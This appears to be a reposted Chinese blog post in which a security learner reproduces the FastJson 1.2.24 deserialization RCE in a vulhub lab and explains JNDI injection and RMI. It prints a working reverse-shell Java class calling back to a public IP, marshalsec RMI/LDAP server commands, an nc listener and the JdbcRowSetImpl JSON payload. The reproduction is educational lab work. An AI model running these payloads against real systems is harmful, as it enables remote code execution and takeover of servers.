關於FastJson漏洞的一切(未完待續)


前言

不知道怎么入的坑,看到了FastJson的反序列漏洞,然后就想復現,復現的過程中我有諸多疑惑,不清楚POC的原理,不知道如何使用intellij IDEA動態的跟蹤調試,對Java代碼的極度不熟悉,再加上第一次接觸FastJson這個API,都使我步履維艱,但是,我堅信,柳暗花明又一村!謹以此篇Blog記錄我對於FastJson漏洞的一切研究,或許對讀者你有一些啟發本人只是學安全的小白,如有錯誤,還請大佬指正!弟弟我先在這里謝過眾位大佬了

FastJson簡介

Fastjson 是一個 Java 庫,可以將 Java 對象轉換為 JSON 格式(序列化),當然它也可以將 JSON 字符串轉換為 Java 對象(反序列化)。

Fastjson 可以操作任何 Java 對象,即使是一些預先存在的沒有源碼的對象。

首先我覺得自己要先熟悉FastJson。所以我先去菜鳥教程學了一波~

//序列化
String text = JSON.toJSONString(obj); 
//反序列化
VO vo = JSON.parse(); //解析為JSONObject類型或者JSONArray類型
VO vo = JSON.parseObject("{...}"); //JSON文本解析成JSONObject類型
VO vo = JSON.parseObject("{...}", VO.class); //JSON文本解析成VO.class類

FastJson漏洞

大概學完之后,我就漫無目的的在搜索關於fastjson漏洞的一切,看完之后,啥也沒看懂,偶然的機會我在Freebuf看到一篇文章,我決定跟隨這篇文章的軌跡(沿着前輩的腳步)研究fastjson漏洞。

RCE漏洞的源頭:17年fastjson爆出的1.2.24反序列化漏洞。此次漏洞簡單來說,就是Fastjson通過parseObject()/parse()將傳入的字符串反序列化為Java對象時由於沒有進行合理檢查而導致的

先從簡單的入手,利用vulhub里邊的環境我嘗試復現一下這個漏洞。

我用到的環境如下:

  • Linux虛擬主機一台:CentOS 7 64bit(內含有docker,並利用docker成功搭建好vulhub上的環境)

  • 阿里雲VPS一台:CentOS 7.5 64bit

  • 物理機一台:Windows 10 64bit

用到的POC(反彈shell):

// javac ExploitFile.java
import java.lang.Runtime;
import java.lang.Process;

public class ExploitFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"/bin/bash", "-c", "bash -i >& /dev/tcp/123.56.101.164/1234 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

復現過程如下:

(1)由於我的VPS沒有javac的環境,所以我選擇將以上POC保存至ExploitFile.java,然后在我物理機上編譯,然后將編譯好的ExploitFile.class文件傳到VPS上的root用戶家目錄新建的fastjson目錄中。除此我們還需要用到marshalsec,我也是物理機上編譯工程,然后生成的marshalsec-0.0.3-SNAPSHOT-all.jar傳到VPS~/fastjson目錄下。

(2)使用python快速搭建一個HTTP服務,在VPS上/fastjson目錄下執行以下命令。這一步大家如果有看不懂的可以參考[這篇文章](https://www.cnblogs.com/lmg-jie/p/9564608.html)看一下

python -m SimpleHTTPServer 5200
#使用上面的命令可以把當前目錄發布到4444端口

image-20200921014309170

(3)執行以下命令,開啟rmi或ldap服務,5200是上方服務的端口。

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://123.56.101.164:5200/#ExploitFile" 9999
對於上面命令的解釋:
#rmi服務器,rmi服務起在9999 惡意class在http://ip:5200/文件夾/#ExportObject 
#不加9999端口號 默認是1099

補充:
同時我們可以不選擇開啟RMI,而選擇開啟LDAP:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://ip:8080/文件夾/#ExportObject 8088
#rmi服務器,rmi服務起在8088 惡意class在http://ip:8080/文件夾/#ExportObject 
#不加8088端口號 默認是1389

image-20200921014418030

(4)VPS使用nc監聽1234端口

nc -lvp 1234

(5)借助burpsuite向靶機POST如下內容:

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://123.56.101.164:9999/ExploitFile",
        "autoCommit":true
    }
}

(6)反彈shell成功

image-20200921014633744

復現完成之后我心里很疑惑,關於fastjson的反序列化我仍然啥都不懂,並且我還有如下幾個問題:

  1. marshalsec是什么東西?
  2. 從復現的步驟里我看不出所謂的反序列化(漏洞利用的原理)?

以上幾個問題我先不回答,之后就開始了漫長的爬坑,不過還好,有收獲!

JNDI注入原理與應用

參考:https://xz.aliyun.com/t/6633

Java命名和目錄接口(JNDI)是一種Java API,類似於一個索引中心,它允許客戶端通過name發現和查找數據和對象。

其應用場景比如:動態加載數據庫配置文件,從而保持數據庫代碼不變動等。
代碼格式如下:

String jndiName= ...;//指定需要查找name名稱
Context context = new InitialContext();//初始化默認環境
DataSource ds = (DataSourse)context.lookup(jndiName);//查找該name的數據

這些對象可以存儲在不同的命名或目錄服務中,例如遠程方法調用(RMI),通用對象請求代理體系結構(CORBA),輕型目錄訪問協議(LDAP)或域名服務(DNS)。

RMI格式:

InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup("rmi://127.0.0.1:1099/Exploit");

所謂的JNDI注入就是當上文代碼中jndiName這個變量可控時,引發的漏洞,它將導致遠程class文件加載,從而導致遠程代碼執行。

下面我們參照大佬的POC,做一波驗證:

環境:Windows 10 64bit python 2.7 Intellij IDEA 2020.1

(1)參照大佬的代碼,在IDEA里邊創建com包下創建ExecTest.java,並且創建com.jndi包同時在這個包里創建client.java、server.java。代碼如下(我參考我的實際環境做了適量修改):

//client.java(受害者)
package com.jndi;

import javax.naming.Context;
import javax.naming.InitialContext;

public class client {

    public static void main(String[] args) throws Exception {

        String uri = "rmi://127.0.0.1:1099/aa";
        Context ctx = new InitialContext();
        ctx.lookup(uri);

    }

}
//server.java(攻擊者起的RMI服務)
package com.jndi;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;

public class server {

    public static void main(String args[]) throws Exception {

        Registry registry = LocateRegistry.createRegistry(1099);
        Reference aa = new Reference("ExecTest", "ExecTest", "http://127.0.0.1:5200/");
        ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);
        System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/aa'");
        registry.bind("aa", refObjWrapper);

    }
}
//ExecTest.java(攻擊payload)
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;

public class ExecTest implements ObjectFactory {

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) {
        exec("xterm");
        return null;
    }

    public static String exec(String cmd) {
        try {
            Runtime.getRuntime().exec("whoami");
        } catch (IOException e) {
            e.printStackTrace();
        }
        return "";
    }

    public static void main(String[] args) {
        exec("123");
    }
}

(2)來到工程文件夾找到ExecTest.java文件,使用javac ExecTest.java編譯一下,並且使用python2 -m SimpleHTTPServer 5200將當前文件夾映射到HTTP服務。

(3)在IDEA先運行server.java,然后運行client.java,結果如下圖所示。

image-20200921155101889

解釋:正如大佬所說的一樣,此次實驗成功的前提是:java版本小於1.8u191。因為之后版本存在trustCodebaseURL的限制,只信任已有的codebase地址,不再能夠從指定codebase中下載字節碼。我這邊java版本是1.8u202,差了點意思~唉,不能幸運的看到實驗的結果。對於分析調用流程,就看大佬的吧,我就不多說了。

下面回答上邊的第一個問題,marshalsec是什么東西?以上我們是使用代碼借助intellij IDEA 起的RMI服務,為了方便性,marshalsec可以快速的幫助我們起一個RMI或者LDAP服務。說白了,就是一個工具。

  • 補充:什么是RMI?
RMI(Remote Method Invocation),遠程方法調用。跟RPC差不多,是java獨立實現的一種機制。實際上就是在一個java虛擬機上調用另一個java虛擬機的對象上的方法。

RMI依賴的通信協議為JRMP(Java Remote Message Protocol ,Java 遠程消息交換協議),該協議為Java定制,要求服務端與客戶端都為Java編寫。這個協議就像HTTP協議一樣,規定了客戶端和服務端通信要滿足的規范。(我們可以再之后數據包中看到該協議特征)

在RMI中對象是通過序列化方式進行編碼傳輸的。(我們將在之后證實)

RMI分為三個主體部分:

Client-客戶端:客戶端調用服務端的方法
Server-服務端:遠程調用方法對象的提供者,也是代碼真正執行的地方,執行結束會返回給客戶端一個方法執行的結果。
Registry-注冊中心:其實本質就是一個map,相當於是字典一樣,用於客戶端查詢要調用的方法的引用。
總體RMI的調用實現目的就是調用遠程機器的類跟調用一個寫在自己的本地的類一樣。

唯一區別就是RMI服務端提供的方法,被調用的時候該方法是執行在服務端。

未完待續。。。

關於FastJson漏洞的后世,參考一下兩篇Blog,等我時間充裕,再和大家一起消化吸收

http://blog.topsec.com.cn/fastjson%e5%8e%86%e5%8f%b2%e6%bc%8f%e6%b4%9e%e7%a0%94%e7%a9%b6%ef%bc%88%e4%b8%80%ef%bc%89/

https://xz.aliyun.com/t/7027


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM